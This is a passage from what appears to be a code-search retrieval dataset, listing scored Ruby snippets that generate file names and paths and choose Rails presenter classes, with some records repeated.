current_time.strftime(\"%Y%m%d_%H%M%S\")\n formatted_current_time + \"_\" + original_filename\n end", "title": "" }, { "docid": "76ff5e4c0d84f1476054e7fe0010671f", "score": "0.6733812", "text": "def filename\n return Pathname.new(@file_object.io.path) if @file_object.io.respond_to?(:path) && File.exist?(@file_object.io.path)\n end", "title": "" }, { "docid": "76ff5e4c0d84f1476054e7fe0010671f", "score": "0.6733812", "text": "def filename\n return Pathname.new(@file_object.io.path) if @file_object.io.respond_to?(:path) && File.exist?(@file_object.io.path)\n end", "title": "" }, { "docid": "5e993b8e5ec213e85fc6a13f41546996", "score": "0.67328113", "text": "def filename\n tmp_path = self.path\n if self.partial\n tmp_path.gsub(/([^\\/]+)\\z/, '_\\1')\n else\n tmp_path\n end\n end", "title": "" }, { "docid": "17953c933fab47cda1c940838e57a4f7", "score": "0.6732463", "text": "def path\n File.join(@base, @dir.sub(@dst_dir, @src_dir), @name)\n end", "title": "" }, { "docid": "a26f0116832c5cf604df7979e7cd47f4", "score": "0.6716808", "text": "def filename\n if super.present?\n @name ||= Digest::MD5.hexdigest(File.dirname(current_path))\n \"#{@name}#{File.extname(original_filename).downcase}\"\n end\n end", "title": "" }, { "docid": "a26f0116832c5cf604df7979e7cd47f4", "score": "0.6716808", "text": "def filename\n if super.present?\n @name ||= Digest::MD5.hexdigest(File.dirname(current_path))\n \"#{@name}#{File.extname(original_filename).downcase}\"\n end\n end", "title": "" }, { "docid": "66dbac09e1e1267889a6ccac6de40838", "score": "0.6705027", "text": "def gen_file\n\t\t#\"./tmp/#{Date.today.strftime(\"%Y%m%d\")}.#{gen_process_number}.webform.file\"\n\t\tFile.join(Rails.root, 'tmp', \"#{Date.today.strftime(\"%Y%m%d\")}.#{gen_process_number}.webform.file\")\n\tend", "title": "" }, { "docid": "bd68853e8e48b671ba1ce4a255332e25", "score": "0.6703584", "text": "def name() @filename end", "title": "" }, { "docid": "9da0ce4e5976a8208200da875cb21e71", "score": "0.67008287", "text": "def file_path(filename)\n File.join(path, filename)\n end", "title": "" }, { "docid": "05b4d7c37f67dfee493585873acb58a1", "score": "0.668948", "text": "def create_filename(heat_number)\n name = competition.to_s\n name += \"_\"\n name += \"heat_\"\n name += heat_number.to_s.rjust(3, \"0\")\n \"#{name.first(59)}.txt\"\n end", "title": "" }, { "docid": "3303816a7c85f648b059d0bd7a3c3265", "score": "0.66856", "text": "def to_filename(template_name)\n name = template_name\n return name.is_a?(Symbol) ? \"#{@prefix}#{name}#{@postfix}\" : name\n end", "title": "" }, { "docid": "64d24b0e4257d2a97edaa80a4b05b15f", "score": "0.66804224", "text": "def file_path\n File.dirname(__FILE__) + '/' + @file_name\n end", "title": "" }, { "docid": "8d0cd67c16c9bb8de4340d1133529cac", "score": "0.66800267", "text": "def filename\n @filename = \"#{secure_token}_#{split_extension(original_filename)}.#{file.extension}\" if original_filename.present?\n end", "title": "" }, { "docid": "af255f42105f8ea17a73c9d8816dbf99", "score": "0.66746277", "text": "def full_path\n File.join(@path, @name)\n end", "title": "" }, { "docid": "d9e935989b2824fb501a4a38f9beab14", "score": "0.66711974", "text": "def makeObjectFileName(fileName)\n # substitution of '_' with '__' prevents collisions\n @build.buildPath + \"/\" + fileName.gsub('_', '__').gsub('/', '_').gsub('.', '_') + \".o\"\n end", "title": "" }, { "docid": "deb9994835247beeeab99cb5e7e036cb", "score": "0.66619533", "text": "def filename_generator\n\t\tparameter_array = Array.new\n\t\tunless params[:name].blank?\n\t\t\tparameter_array << params[:name]\n\t\tend\n\t\t\n\t\tunless params[:state].blank?\n\t\t\tparameter_array << params[:state]\n\t\t end\n\t\t\n\t\tunless params[:commodity].blank?\n\t\t\tparameter_array << params[:commodity]\n\t\tend\n\t\t\n\t\t\n\t\t unless params[:status].blank?\n\t\t\t parameter_array << params[:status].pluralize.parameterize.underscore\n\t\t else\n\t\t\t parameter_array << params[:controller]\n\t\t end\n\t\t\t\t \n\t\t unless params[:action] == 'index'\n\t\t\tparameter_array << params[:action]\n\t\t end\n\t\t \n\t\t if params[:action].in?([\"jorc\",\"resources\"])\n\t\t\tparameter_array << \"for_#{params[:year]}\" unless params[:year].blank?\n\t\t end\n\t\t\t\t\n\t\tparameter_array << Date.today.to_s.gsub(/-/,'')\n\t\t\n\t\t@filename = parameter_array.join('_')\n\tend", "title": "" }, { "docid": "a41115ca68dabd12177de21d42f396c7", "score": "0.6661527", "text": "def path\n @filename\n end", "title": "" }, { "docid": "35e012de70b87c452dfa1558e9843cac", "score": "0.66562694", "text": "def path_for original\n current_output_directory.join(daily_directory_for((settings[:ordered_by_processing_time] ? processing_time : file_time(original)).strftime(settings[:ordered_time_pattern]), original)).join(slug_for(processing_time, original))\n end", "title": "" }, { "docid": "9f7bcf31bbbb8cce8b6cfc5b50c2502b", "score": "0.66561633", "text": "def make_filename(file_index)\r\n return \"Save#{file_index + 1}.rxdata\"\r\n end", "title": "" }, { "docid": "1d26f3839c58037b0b6b4018df6d0598", "score": "0.665609", "text": "def filename\n unless @filename\n @filename = @path.basename.to_s\n end\n\n @filename\n end", "title": "" }, { "docid": "48ca77d1009efd0e2046534c8714355c", "score": "0.66222423", "text": "def generate_filename\n #if episodeTitle != brandTitle (brandTitle looks to be the name of the program) then use this in the filename\n if @metadata[:episodeTitle] != @metadata[:brandTitle]\n out_file = \"#{@metadata[:title1]}__#{@metadata[:title2]}__#{@metadata[:episodeTitle]}\"\n else #otherwise just use title1/2\n out_file = \"#{@metadata[:title1]}__#{@metadata[:title2]}\"\n end\n out_file.gsub!(/[^0-9A-Za-z.\\-]/, '_') #replace non alphanumerics with underscores\n\n @out_file = File.join(@out_dir, out_file)\n end", "title": "" }, { "docid": "7a4492d9775e9975ce398a1635c75ea6", "score": "0.66094774", "text": "def path_for original\n current_output_directory.join(daily_directory_for(file_time(original).strftime(settings[:ordered_time_pattern]), original)).join(File.mtime(original.to_path).to_i.to_s).join(slug_for(processing_time, original))\n end", "title": "" }, { "docid": "e6f870063df13451fd10a7cdd0666bff", "score": "0.66018516", "text": "def filename\n @name ||= \"#{timestamp}-#{secure_token(8)}.#{file.extension}\" if original_filename.present?\n end", "title": "" }, { "docid": "779d1b16308e0884f58f5a7842b8ba48", "score": "0.6601307", "text": "def autoname(type)\n begin\n\treturn unless @outdir\n\tstamp = sprintf('%.6f',\"#{Time.now.to_i}.#{Time.now.usec}\".to_f).gsub('.','')\n\tFile.join(@outdir,\"#{type.upcase}_#{stamp}.#{@format.downcase}\")\n rescue Exception => e\n\t@output.puts \"#{e.message} #{e.backtrace.inspect}\"\n\t@logger.error \"#{e.message} #{e.backtrace.inspect}\" if @logger \n end\n end", "title": "" }, { "docid": "8b3a201b88ef50e2f720d9403ed35199", "score": "0.65983075", "text": "def path\n File.join(self.folder, self.filename)\n end", "title": "" }, { "docid": "3929cebd087a9e93675a6a30d409de55", "score": "0.6589273", "text": "def path_name\n str = name.dup\n str << '/' if is_dir\n str = parent.path_name + str if parent\n str\n end", "title": "" }, { "docid": "55246d8113089b13df3f3081b5ce4ecd", "score": "0.6586137", "text": "def path_for(type_name)\n path = path_join type_name.file_path\n ensure_path_exists path\n\n File.join path, type_name.file_name\n end", "title": "" }, { "docid": "7c64521cf74bb3561869301b03210a4e", "score": "0.6583513", "text": "def file_name(name)\n name.to_s.gsub(/-/, \"_\").underscore\n end", "title": "" }, { "docid": "b5e1017708c26cc3d911e1cc499df871", "score": "0.65821683", "text": "def name\n file.partition(base).last.gsub(/[_\\/]/, \" \").strip\n end", "title": "" }, { "docid": "9408c746b3acc918716476cec609b032", "score": "0.6574156", "text": "def filename\n return Pathname.new(file_object.io.path) if file_object.io.respond_to?(:path) && File.exist?(file_object.io.path)\n end", "title": "" }, { "docid": "9408c746b3acc918716476cec609b032", "score": "0.6574156", "text": "def filename\n return Pathname.new(file_object.io.path) if file_object.io.respond_to?(:path) && File.exist?(file_object.io.path)\n end", "title": "" }, { "docid": "9408c746b3acc918716476cec609b032", "score": "0.6574156", "text": "def filename\n return Pathname.new(file_object.io.path) if file_object.io.respond_to?(:path) && File.exist?(file_object.io.path)\n end", "title": "" }, { "docid": "5279666bc9f9ab57f036e2258853d62a", "score": "0.65699613", "text": "def filename\n if original_filename\n \"#{model.name.parameterize}-#{secure_token(8)}.#{file.extension}\"\n end\n end", "title": "" }, { "docid": "7eb234a2cf9dd52b2700bc79179b2dde", "score": "0.6566255", "text": "def full_filename\n File.join(path, self.disk_filename)\n end", "title": "" }, { "docid": "399bd44706225c71f85986c7cacf46ef", "score": "0.6564305", "text": "def awful_file_name\n (((0x00..0x7f).to_a - [0x00, 0x0a, 0x2b, 0x2f]).map { |n| n.chr }).join + '.txt'\n end", "title": "" }, { "docid": "d002d78cdce2af70de18d32ad0818e95", "score": "0.656395", "text": "def path\n filename = [key, self.class.subclass_suffix, self.class::FILE_SUFFIX]\n filename = filename.compact.join('.')\n\n if subdirectory\n directory.join(subdirectory).join(filename)\n else\n directory.join(filename)\n end\n end", "title": "" }, { "docid": "06571147abcb44a690f7ddbf47bd289b", "score": "0.65600634", "text": "def gen_rel_path(file)\n file = \"/secure/news/#{@folder}/#{file}\"\n end", "title": "" }, { "docid": "db37ec4f128ce28e002cde3bff9b1d18", "score": "0.65450233", "text": "def filename\n if original_filename\n uuid = UUIDTools::UUID.md5_create(UUIDTools::UUID_DNS_NAMESPACE, original_filename)\n extname = File.extname(original_filename)\n return \"#{uuid}#{extname}\"\n end\n end", "title": "" }, { "docid": "8b838e02de8257d71fb693ee158cd056", "score": "0.6543371", "text": "def generate_filename(title)\n \"#{formatted_current_timestamp}-#{slug_for(title)}.md\"\nend", "title": "" }, { "docid": "a4cd4eece147c06001592f3e4777f3e7", "score": "0.65367585", "text": "def file_name\n File.basename @path\n end", "title": "" }, { "docid": "f757fe3eaa7121ce27a91a5fee25a019", "score": "0.65323204", "text": "def name\n filename\n end", "title": "" }, { "docid": "f757fe3eaa7121ce27a91a5fee25a019", "score": "0.65323204", "text": "def name\n filename\n end", "title": "" }, { "docid": "271b20f321661c5a71a1c9d906ed09db", "score": "0.6514645", "text": "def filename()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "4369115a26ac98a3ff872abc9b0e7500", "score": "0.65134686", "text": "def file_name\n return unless @file\n\n @file.absolute_name\n end", "title": "" }, { "docid": "febc5a0b693de4bf187055a9841fbf03", "score": "0.6511028", "text": "def filename\n \"#{original_filename_without_extension.parameterize}_#{model.filename_token}#{original_extension}\" if original_filename\n end", "title": "" }, { "docid": "5db237b7ee5f148e8c6bf54c3fece578", "score": "0.6505719", "text": "def build_path\n end", "title": "" }, { "docid": "49eaa0e549e958374ab64cb394eb9ef7", "score": "0.64981127", "text": "def make_template_path(filename)\n return File.join(templates_dir, filename)\n end", "title": "" }, { "docid": "49eaa0e549e958374ab64cb394eb9ef7", "score": "0.64981127", "text": "def make_template_path(filename)\n return File.join(templates_dir, filename)\n end", "title": "" }, { "docid": "41b6f560b58ae279de53f303518c6748", "score": "0.6497217", "text": "def path\n ::File.join(@folder, @file)\n end", "title": "" }, { "docid": "5d17f11a49f729241e45b8c01bb90f47", "score": "0.64902264", "text": "def filename\n filename = (model.name + '_' + model.artist.name + '_' + model.release.name).downcase.gsub(/\\s/, '-')\n \"#{filename}\" if original_filename \n end", "title": "" }, { "docid": "ff997aeef4356c1f6c2a62b67affc127", "score": "0.6484865", "text": "def build_filename(filename, item)\n repeat_groups = []\n answer = item.record.answer\n answer_group = nil\n answer_group = next_repeat_group_up(answer.parent_id) if answer.parent_id\n if answer_group.present?\n repeat_groups = respect_ancestors(answer_group, repeat_groups)\n filename += \"-#{repeat_groups.pop}\" until repeat_groups.empty?\n end\n filename += \"-#{answer.question.code}\"\n filename += File.extname(item.filename.to_s)\n filename.gsub(/[^0-9A-Za-z.\\-]/, \"_\")\n end", "title": "" }, { "docid": "5ab4fd4f11c644396c3f3c1a578c95e5", "score": "0.6484453", "text": "def to_partial_path\n ::File.basename(super)\n end", "title": "" }, { "docid": "8524ffcf9bae0609da6a70297a9f9f64", "score": "0.64819336", "text": "def file_name\n @_file_name ||= [@file_name, 'checkout_wizard'].join('_')\n end", "title": "" } ]
17ba69429642b016cd5133b7514d4e6e
The right presenter class based on the specs.
[ { "docid": "463e854add1baa6bcdabebd56990eba2", "score": "0.74692595", "text": "def presenter\n if @spec[:type] || @spec[:attribute]\n Presenter::PropertyPresenter.new(@spec, matchers)\n else\n Presenter::ConnectionPresenter.new(@spec, matchers)\n end\n end", "title": "" } ]
[ { "docid": "67e6dbc0505ceec9a7efdb4d537bff62", "score": "0.74366796", "text": "def presenter_klass(klass)\n \"#{klass.name}Presenter\".safe_constantize ||\n \"#{klass.base_class.name}Presenter\".safe_constantize ||\n \"ApplicationApiPresenter\".safe_constantize ||\n ApiPresenter::Base\n end", "title": "" }, { "docid": "0318ef58dbbc8d32e44acfaaf4a8e580", "score": "0.74075544", "text": "def presenter\n @presenter ||= begin\n controller = self\n klass = MetaPresenter::Builder.new(controller, action_name).presenter_class\n klass.new(controller)\n end\n end", "title": "" }, { "docid": "92b38eb97ac1312c1eb5b0a63b77b575", "score": "0.73822284", "text": "def presenter\n @presenter ||= LessonPresenterSelector.for(self)\n end", "title": "" }, { "docid": "33a6b359ae3d8008135cc20d95a82770", "score": "0.72672534", "text": "def document_presenter_class(document = nil)\n case action_name\n when 'show', 'proxies', 'home', 'details', 'embed'\n Dcv::ShowPresenter\n when 'citation'\n Dcv::CitationPresenter\n when 'index'\n Dcv::IndexPresenter\n else\n Deprecation.warn(Blacklight::BlacklightHelperBehavior, \"Unable to determine presenter type for #{action_name} on #{controller_name}, falling back on deprecated Blacklight::DocumentPresenter\")\n presenter_class.new(document, self)\n end\n end", "title": "" }, { "docid": "99d8e1ec3a105505e4c6687e3bc50cc4", "score": "0.7174369", "text": "def presenter(doc)\n case action_name\n when 'show', 'citation' then return show_presenter(doc)\n when 'index' then return index_presenter(doc) # NOTE: 0% coverage for this case\n end\n Deprecation.warn(\n Blacklight::BlacklightHelperBehaviorExt,\n \"Unable to determine presenter type for #{action_name} on \" \\\n \"#{controller_name}, falling back on \" \\\n \"deprecated Blacklight::DocumentPresenter\"\n )\n presenter_class.new(doc, self)\n end", "title": "" }, { "docid": "de5b594a2f6848aeb0711ebd3cf2e3c3", "score": "0.7062026", "text": "def default_presenter_class_for(model)\n \"Presenters::#{model.class.name}\".constantize\n end", "title": "" }, { "docid": "2ede96e96242df0ce99befb8c55930f8", "score": "0.69316393", "text": "def presenter(document)\n presenter_class.new(document, self)\n end", "title": "" }, { "docid": "a764bf3a35581b4fdce27fbd5b5568a9", "score": "0.6927931", "text": "def representative_presenter\n @representative_presenter ||= build_representative_presenter\n end", "title": "" }, { "docid": "501e3c97d759fa393bdedbbd1d827111", "score": "0.6912352", "text": "def presenter\n @presenter ||= show_presenter.new(curation_concern_document, current_ability, request)\n end", "title": "" }, { "docid": "e8c677fa5a70c2a92ff11c20e19dc687", "score": "0.6910764", "text": "def presenter_for(model, context = self)\n # Is there a specific mapping?\n presenter_class = specific_presenter_mapping[model.class]\n \n # If not, get the default mapping.\n presenter_class = default_presenter_class_for(model) unless presenter_class\n \n unless presenter_class < Presenters::Base\n raise NotAPresenterError.new(\"#{presenter_class} is not a presenter.\")\n end\n \n # And create a presenter for the model.\n presenter_class.new(model, context)\n rescue NameError => e\n raise MissingPresenterError.new(\"No presenter for #{model.class}.\")\n end", "title": "" }, { "docid": "49a0c04e7bf9ebbd430c3088b830d127", "score": "0.69075763", "text": "def presenter_for(figure)\n figures_and_presenters = Straightedge.config.presenter_classes \n matched_class = figures_and_presenters.keys.detect { |k| figure.class <= k }\n\n klass = if matched_class\n\t\tfigures_and_presenters[matched_class]\n\t else\n\t\traise \"no presenter class for #{figure}\"\n\t end\n\n new_presenter = klass.new\n new_presenter.on(@plane) unless @plane.nil?\n new_presenter\n end", "title": "" }, { "docid": "384f9503c215e359e62b46a70826845b", "score": "0.6906256", "text": "def presenter_class\n Spotlight::DocumentPresenter\n end", "title": "" }, { "docid": "b198c9b877d60e8467ff59014627da70", "score": "0.6893354", "text": "def presenter_class(object=SolrDocument.new)\n case object\n when SolrDocument\n blacklight_config.document_presenter_class\n else\n \"#{object.class}Presenter\".constantize\n end\n end", "title": "" }, { "docid": "6447ec210f124033853d95fe7fe0f68e", "score": "0.6848933", "text": "def data_presenter_object(result_data)\n if config_object.present? && config_object.is_a?(ActionConfigurations::Collection)\n # Generic::CollectionPresenter\n data_presenter_class.new(data: result_data, request: request, config_object: config_object)\n elsif config_object.present? && config_object.is_a?(ActionConfigurations::Show)\n # Generic::ShowPresenter\n data_presenter_class.new(data: result_data, request: request, config_object: config_object)\n else\n data_presenter_class.new(data: result_data, request: request)\n end\n end", "title": "" }, { "docid": "6046fc5f6dc6461695e3b256664026e6", "score": "0.6834535", "text": "def get_presenter_class(object, presenters_path)\n klass = if presenters_path\n \"#{presenters_path.map(&:capitalize).join}Presenter\"\n else\n \"#{object.class}Presenter\"\n end\n klass.constantize\n end", "title": "" }, { "docid": "085e3319f4113ee5271c70a10a22b074", "score": "0.6825129", "text": "def present(model, presenter_class=nil)\n klass = presenter_class || \"Chipotle::Presenters::#{model.class}Presenter\".constantize\n presenter = klass.new(model, self)\n yield(presenter) if block_given?\n end", "title": "" }, { "docid": "2b23f003f1a1c51ee33c1d94f0d92ced", "score": "0.6822237", "text": "def relation_presenter_class(relation)\n (relation.class.name.to_s.classify + \"Presenter\").constantize\n end", "title": "" }, { "docid": "02f301e2b524e07505b43e28b08d4faa", "score": "0.678582", "text": "def presenter(document)\n presenter_class.new(document, self)\n end", "title": "" }, { "docid": "282427ec757104401a7a6c5196d1fb5a", "score": "0.6776895", "text": "def create_presenter(class_name)\n Object.const_get(class_name).new\n end", "title": "" }, { "docid": "c3eaa9172c9feda51bb5ccda3fb71d2a", "score": "0.6769143", "text": "def presenter_class\n Blacklight::DocumentPresenter\n end", "title": "" }, { "docid": "4e47b04cc9776abd947c4db96558f518", "score": "0.6767337", "text": "def present(model, presenter_class = nil)\n presenter_class ||= presenter_for(model)\n presenter = presenter_class.new(model, self)\n yield(presenter) if block_given?\n presenter\n end", "title": "" }, { "docid": "51663d81633a573c8d87aa64b083d331", "score": "0.67229295", "text": "def show_presenter_class(doc)\n blacklight_config(doc).show.document_presenter_class\n end", "title": "" }, { "docid": "aba4af309b0cfbc1deca41103f0b4b77", "score": "0.65962636", "text": "def presenter_class\n ::ShowMorePresenter\n end", "title": "" }, { "docid": "c0445b422dfe69bcd4ca1d7fb2f59242", "score": "0.65177417", "text": "def presenter_class_for(clazz, suffix = nil)\n if clazz.is_a? Enumerable\n target = clazz.first.is_a?(Presenters::Base) ? clazz.first.model : clazz.first\n return presenter_class_for(target, \"Set\")\n end\n clazz = clazz.class unless clazz.is_a? Class\n begin\n \"Presenters::#{clazz}#{suffix}\".constantize\n rescue NameError => e\n clazz = clazz.superclass\n retry if clazz and not (clazz.name['::']) # Nested classes break Rails' automagical loading, XXX fix later.\n raise e\n rescue Exception => e\n raise \"Exception while finding presenter class Presenters::#{clazz}#{suffix}. Exception was: \" + e.to_s\n end\n end", "title": "" }, { "docid": "e1c9fd9f164626170751d0e04c0f1a70", "score": "0.6508822", "text": "def initialize_presenter\n presenter_object = presenter_type.nil? ? Presenters::Resource.new(self) : presenter_type.send(:new, self)\n self.resource_presenter = presenter_object\n end", "title": "" }, { "docid": "45487d9a0d4fec56a3ec6811637fdec3", "score": "0.64687973", "text": "def present object\n \"#{object.class.base_class.to_s}Presenter\".constantize.new object, view_context\n end", "title": "" }, { "docid": "649cfe67e7beb135478403a2de69d185", "score": "0.64662606", "text": "def present(object, rc_class = nil)\n rc_class ||= \"#{object.class}Presenter\".constantize\n rc_class.new(object, view_context)\n end", "title": "" }, { "docid": "2d54d2289c52ad7f54a61b99331396d5", "score": "0.6459993", "text": "def present(object, klass = nil)\n klass ||= \"#{object.class}Presenter\".constantize\n presenter = klass.new(object, self)\n yield presenter if block_given?\n presenter\n end", "title": "" }, { "docid": "97fbd99ff23bad859115c868635ff65e", "score": "0.64487666", "text": "def set_presenter(name)\n if self.class.names['presenters'][name]\n self.presenter = self.class.names['presenters'][name]\n end\n end", "title": "" }, { "docid": "5a911943ed590a1ffdf89e3bd5d3b26d", "score": "0.64380705", "text": "def present(model)\n presenter = Object.const_get(\"#{model.class}Presenter\") rescue Refinery::BasePresenter\n @meta = presenter.new(model)\n end", "title": "" }, { "docid": "901f0bd8404fdad3f6e683ac8f837a4f", "score": "0.64068663", "text": "def present(object, klass = nil)\n klass ||= \"#{object.class}Presenter\".constantize\n klass.new(object, view_context)\n end", "title": "" }, { "docid": "901f0bd8404fdad3f6e683ac8f837a4f", "score": "0.64068663", "text": "def present(object, klass = nil)\n klass ||= \"#{object.class}Presenter\".constantize\n klass.new(object, view_context)\n end", "title": "" }, { "docid": "901f0bd8404fdad3f6e683ac8f837a4f", "score": "0.64068663", "text": "def present(object, klass = nil)\n klass ||= \"#{object.class}Presenter\".constantize\n klass.new(object, view_context)\n end", "title": "" }, { "docid": "7bbf231d2500b07436a451cb41acc074", "score": "0.6404358", "text": "def presenter(&block)\n Configuration::Base.app.presenter.proc = block\n end", "title": "" }, { "docid": "671cb54a302e622c86e368769a05ad6e", "score": "0.6373185", "text": "def present(object, klass = nil)\n klass ||= \"#{object.class}Presenter\".constantize\n klass.new object, view_context\n end", "title": "" }, { "docid": "d2a31d14e5253f0a2a2566d3b2cc0e14", "score": "0.633853", "text": "def initialize(requested_version, presentable, qualifier='')\n class_name = \"Presenters::V#{requested_version}::#{qualifier.to_s.camelize}#{presentable.try(:name)}Presenter\"\n @presenter_class = class_name.safe_constantize\n end", "title": "" }, { "docid": "3236c84d2eece7751debdbd5acb43a71", "score": "0.6337984", "text": "def presenter\n return self.fullname\n end", "title": "" }, { "docid": "0ad914c2bf07dd35646c620a37e3ad4a", "score": "0.63096744", "text": "def release_presenter\n @release_presenter ||= V1::ReleasePresenter.new(@release, @template)\n end", "title": "" }, { "docid": "120420f457b115634ba4b1cfbbc6e9e3", "score": "0.62824875", "text": "def set_presenter\n @presenter = Presenter.find(params[:id])\n end", "title": "" }, { "docid": "120420f457b115634ba4b1cfbbc6e9e3", "score": "0.62824875", "text": "def set_presenter\n @presenter = Presenter.find(params[:id])\n end", "title": "" }, { "docid": "27f2da24281c2ad0e3e3bff919d62370", "score": "0.6277834", "text": "def file_presenter_class\n ScannedResourceShowPresenter\n end", "title": "" }, { "docid": "b9dfb8afe60168d8acb1d4804b3bca80", "score": "0.6262869", "text": "def run_presenter\n @run_presenter ||= V1::RunPresenter.new(@run, @template)\n end", "title": "" }, { "docid": "17e1147ab8608bbbcf28ccbbb0b5349f", "score": "0.62544465", "text": "def representer_klass\n representer_module = \"#{options[:resource_module]}::Representer\".constantize\n\n if collection?\n \"#{representer_module}::Collection\"\n else\n \"#{representer_module}::Resource\"\n end.constantize\n end", "title": "" }, { "docid": "2f1310c07d63665efd8553d39b56795f", "score": "0.62488216", "text": "def document_presenter_class(_document = nil)\n case action_name\n when 'show', 'citation'\n blacklight_config.view_config(:show, action_name: action_name).document_presenter_class\n else\n blacklight_config.view_config(document_index_view_type, action_name: action_name).document_presenter_class\n end\n end", "title": "" }, { "docid": "2f1310c07d63665efd8553d39b56795f", "score": "0.62488216", "text": "def document_presenter_class(_document = nil)\n case action_name\n when 'show', 'citation'\n blacklight_config.view_config(:show, action_name: action_name).document_presenter_class\n else\n blacklight_config.view_config(document_index_view_type, action_name: action_name).document_presenter_class\n end\n end", "title": "" }, { "docid": "f3c621e67b9d239d8a113fff02eb16fb", "score": "0.6233331", "text": "def plan_presenter\n @plan_presenter ||= V1::PlanPresenter.new(@plan, @template)\n end", "title": "" }, { "docid": "b4121a6f2ee7f62c9bb60a0e5b0b5365", "score": "0.6212703", "text": "def presenter_path\n name.underscore\n end", "title": "" }, { "docid": "0a22b5b9f44556b0d92fed069da32945", "score": "0.619686", "text": "def presenter_for(object, fields_override = nil)\n presenter_class = @presenters[object.class.name]\n raise PresenterMissingError.new(self, object) unless presenter_class\n\n presenter_class.new(object, fields_override)\n end", "title": "" }, { "docid": "85a9eb957c639c88a5f76e3efd274be2", "score": "0.61868924", "text": "def file_presenter_class\n ::FileSetPresenter\n end", "title": "" }, { "docid": "85078de16d5dc14f5a8d55aa52ce001c", "score": "0.6161236", "text": "def class\n presented_model.class\n end", "title": "" }, { "docid": "f2e543154fca3d5bac52f8681822c08f", "score": "0.61465365", "text": "def step_presenter\n @step_presenter ||= V1::StepPresenter.new(@step, @template)\n end", "title": "" }, { "docid": "7ae99076e9e8c85d8158bb01a06bc6a8", "score": "0.61406064", "text": "def releases_presenter\n @releases_presenter ||= V1::ReleasesPresenter.new(@releases, @template)\n end", "title": "" }, { "docid": "4487fb6327c088b91d485eaa3902ec83", "score": "0.61110216", "text": "def default_representer_class_for(model)\n \"Representers::#{model.class.name}\".constantize\n end", "title": "" }, { "docid": "25d870580846e8ac258472467e0271e4", "score": "0.6105467", "text": "def route_presenter\n @route_presenter ||= V1::RoutePresenter.new(@route, @template)\n end", "title": "" }, { "docid": "0ef5afe25b7a989a6ae55651cea256fd", "score": "0.60957545", "text": "def render(*args)\n presents_before_rendering.each do |var, presenter|\n ivar = instance_variable_get(\"@#{var}\")\n if ivar.present?\n object_class = [ivar].flatten.collect(&:class).first.to_s\n presenter = (object_class + 'Presenter') if presenter.empty?\n instance_variable_set(\"@#{var}\", presenter.constantize.new(ivar))\n end\n end\n\n super(*args)\n end", "title": "" }, { "docid": "fc0c6234d6de6744f73150162664b73c", "score": "0.60753125", "text": "def representer_for(model, context = self)\n # Is there a specific mapping?\n representer_class = specific_representer_mapping[model.class].classify.constantize if specific_representer_mapping.key? model.class\n \n # If not, get the default mapping.\n representer_class = default_representer_class_for(model) unless representer_class\n \n unless representer_class < Representers::Base\n raise NotARepresenterError.new(\"#{representer_class} is not a representer.\")\n end\n \n # And create a representer for the model.\n representer_class.new(model, context)\n rescue NameError => e\n raise MissingRepresenterError.new(\"No representer for #{model.class}.\")\n end", "title": "" }, { "docid": "5d298468a33fcee2fbb263086616c07f", "score": "0.6022463", "text": "def present(object, presenter_class=nil)\n presenter_class ||= \"#{object.class.name}Presenter\".constantize\n presenter = presenter_class.new(object, self)\n\n yield presenter if block_given?\n end", "title": "" }, { "docid": "4809b0f3ead3793b676fb752205c7e70", "score": "0.600081", "text": "def file_presenter_class\n FileSetPresenter\n end", "title": "" }, { "docid": "f52f8a22748a0db9037c488fedb476ac", "score": "0.5985478", "text": "def create_work_presenter\n @create_work_presenter ||= create_work_presenter_class.new(current_ability.current_user)\n end", "title": "" }, { "docid": "f52f8a22748a0db9037c488fedb476ac", "score": "0.5985478", "text": "def create_work_presenter\n @create_work_presenter ||= create_work_presenter_class.new(current_ability.current_user)\n end", "title": "" }, { "docid": "f52f8a22748a0db9037c488fedb476ac", "score": "0.5985478", "text": "def create_work_presenter\n @create_work_presenter ||= create_work_presenter_class.new(current_ability.current_user)\n end", "title": "" }, { "docid": "f52f8a22748a0db9037c488fedb476ac", "score": "0.5985478", "text": "def create_work_presenter\n @create_work_presenter ||= create_work_presenter_class.new(current_ability.current_user)\n end", "title": "" }, { "docid": "5379c59f1b93b24b3b4b093abcb2e7ef", "score": "0.5951938", "text": "def plans_presenter\n @plans_presenter ||= V1::PlansPresenter.new(@plans, @template)\n end", "title": "" }, { "docid": "f5f856744dc880e6f2a1d95bd0fdebde", "score": "0.59145796", "text": "def collection_presented_by(custom_presenter_class)\n self.collection_presenter_class = custom_presenter_class\n end", "title": "" }, { "docid": "debccf3f66ccd410f6da53c43e20e65c", "score": "0.59052515", "text": "def document_presenter(document)\n document_presenter_class(document).new(document, self)\n end", "title": "" }, { "docid": "debccf3f66ccd410f6da53c43e20e65c", "score": "0.59052515", "text": "def document_presenter(document)\n document_presenter_class(document).new(document, self)\n end", "title": "" }, { "docid": "96da79d8c4ff17a8e8dc7095274f3270", "score": "0.5894108", "text": "def runs_presenter\n @runs_presenter ||= V1::RunsPresenter.new(@runs, @template)\n end", "title": "" }, { "docid": "b61710ca303f0bbbc6231a2948d34682", "score": "0.589337", "text": "def presenter_for_name(name, namespace_prefixes = to_s.split('::'))\n full_class_name = name.camelcase << \"Presenter\"\n relative_namespace = full_class_name.split(\"::\")\n class_name = relative_namespace.pop\n namespace = namespace_prefixes + relative_namespace\n\n # Because Rails' autoloading mechanism doesn't work properly with\n # namespace we need to loop through the namespace ourselves. Ideally,\n # `X::Y.const_get(\"Z\")` would autoload `X::Z`, but only `X::Y::Z` is\n # attempted by Rails. This sucks, and hopefully we can find a better\n # solution in the future.\n begin\n full_name = namespace.join(\"::\") << \"::\" << class_name\n full_name.constantize\n rescue NameError => e\n # Due to the way the exception hirearchy works, we need to check\n # that this exception is actually a `NameError` - since other\n # classes can inherit `NameError`, rescue will actually rescue\n # those classes as being under `NameError`, causing this block to\n # be executed for classes that aren't `NameError`s (but are rather\n # subclasses of it), which isn't the desired behavior. This\n # prevents anything but `NameError`s from triggering the resulting\n # code. `NoMethodError` is actually a subclass of `NameError`,\n # so a typo in a file (e.g. `present` instead of `presents`) can\n # cause the library to act as if the class was never defined.\n raise unless e.class == NameError\n if namespace.empty?\n raise Curly::PresenterNameError.new(e, name)\n end\n namespace.pop\n retry\n end\n end", "title": "" }, { "docid": "43597a0b63f2d01b05b7500751b2cf55", "score": "0.5887073", "text": "def apply_presenter(obj)\n presenter = relation_presenter_class(obj)\n presenter.new(obj)\n end", "title": "" }, { "docid": "96c3ae829896955fd3069c25645ac7c7", "score": "0.5880365", "text": "def file_presenter_class\n SparseCollectionShowPresenter\n end", "title": "" }, { "docid": 